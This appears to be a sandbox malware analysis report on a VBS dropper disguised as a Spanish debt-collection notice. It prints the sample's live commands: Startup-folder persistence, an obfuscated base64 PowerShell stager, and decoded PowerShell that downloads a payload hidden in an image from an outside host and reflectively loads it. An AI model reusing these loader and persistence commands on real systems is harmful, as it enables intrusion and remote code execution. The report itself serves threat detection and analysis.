Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2023, 12:29

General

  • Target

    Por ello le recordamos que se encuentra en mora con sus obligaciones, por un valor adeudado de DOS M.vbs

  • Size

    300KB

  • MD5

    cd48e75225fd9a8762894d3e92aa1ded

  • SHA1

    df362d3ca4f4e92ff8888eee0884c5970f6135e8

  • SHA256

    745231f0f88524544d0892fe6d78c4b112afd12586fbba5cce706a3af5e86099

  • SHA512

    dc1dd71980bf939e1df36b0e8264a10bd6db8da220ea946abb67031b0b1d45c458f67c83e9788e2c120ad5285db5bdc221057b90f4392f76de2df71775203f2c

  • SSDEEP

    6144:EX+DDhc9YG2gf1RyUTn2ObTw6Pp2CzGNQn3KdumLhBsL0y/o/a/hRHR/RZRVozz6:EX+DDhc9YG2gf1RyUTn2ObTw6Pp2CzGy

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Por ello le recordamos que se encuentra en mora con sus obligaciones, por un valor adeudado de DOS M.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Por ello le recordamos que se encuentra en mora con sus obligaciones, por un valor adeudado de DOS M.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WQi.vbs')"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3976
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 5
        3⤵
        • Runs ping.exe
        PID:2952
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Por ello le recordamos que se encuentra en mora con sus obligaciones, por un valor adeudado de DOS M.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WQi.vbs')"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3692
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Por ello le recordamos que se encuentra en mora con sus obligaciones, por un valor adeudado de DOS M.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ WQi.vbs')
          4⤵
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB6░░░Go░░░bg░░░v░░░HM░░░cgBl░░░GY░░░bwBt░░░C8░░░dwBl░░░G4░░░Lw░░░0░░░Dc░░░Lg░░░w░░░DU░░░Lg░░░z░░░DE░░░Mg░░░u░░░DE░░░OQ░░░v░░░C8░░░OgBw░░░HQ░░░d░░░Bo░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░LgBJ░░░G4░░░dgBv░░░Gs░░░ZQ░░░o░░░CQ░░░bgB1░░░Gw░░░b░░░░░░s░░░C░░░░░░J░░░Bh░░░HI░░░ZwB1░░░G0░░░ZQBu░░░HQ░░░cw░░░p░░░░░░==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('░░░','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.zjn/srefom/wen/47.05.312.19//:ptth');$method.Invoke($null, $arguments)"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2760

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m3o5muyc.ic2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2320-53-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB

  • memory/2320-19-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB

  • memory/2320-27-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2320-26-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2320-121-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2320-32-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2320-102-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2320-82-0x000001D9A96D0000-0x000001D9A96E0000-memory.dmp

    Filesize

    64KB

  • memory/2760-76-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-87-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-47-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-49-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-45-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/2760-51-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-54-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-56-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-58-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-60-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-62-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-64-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-66-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-68-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-70-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-72-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-74-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-44-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/2760-78-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-80-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-43-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/2760-83-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-85-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-46-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-89-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-91-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-93-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-95-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-97-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-99-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-101-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-42-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB

  • memory/2760-104-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-106-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-108-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-110-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-112-0x00000285F7BB0000-0x00000285F7ECA000-memory.dmp

    Filesize

    3.1MB

  • memory/2760-216-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/2760-130-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB

  • memory/2760-170-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/2760-215-0x00000285F52A0000-0x00000285F52B0000-memory.dmp

    Filesize

    64KB

  • memory/3772-9-0x0000026AB16A0000-0x0000026AB16C2000-memory.dmp

    Filesize

    136KB

  • memory/3772-10-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB

  • memory/3772-11-0x0000026AAF620000-0x0000026AAF630000-memory.dmp

    Filesize

    64KB

  • memory/3772-12-0x0000026AAF620000-0x0000026AAF630000-memory.dmp

    Filesize

    64KB

  • memory/3772-13-0x0000026AAF620000-0x0000026AAF630000-memory.dmp

    Filesize

    64KB

  • memory/3772-17-0x00007FF8E97C0000-0x00007FF8EA281000-memory.dmp

    Filesize

    10.8MB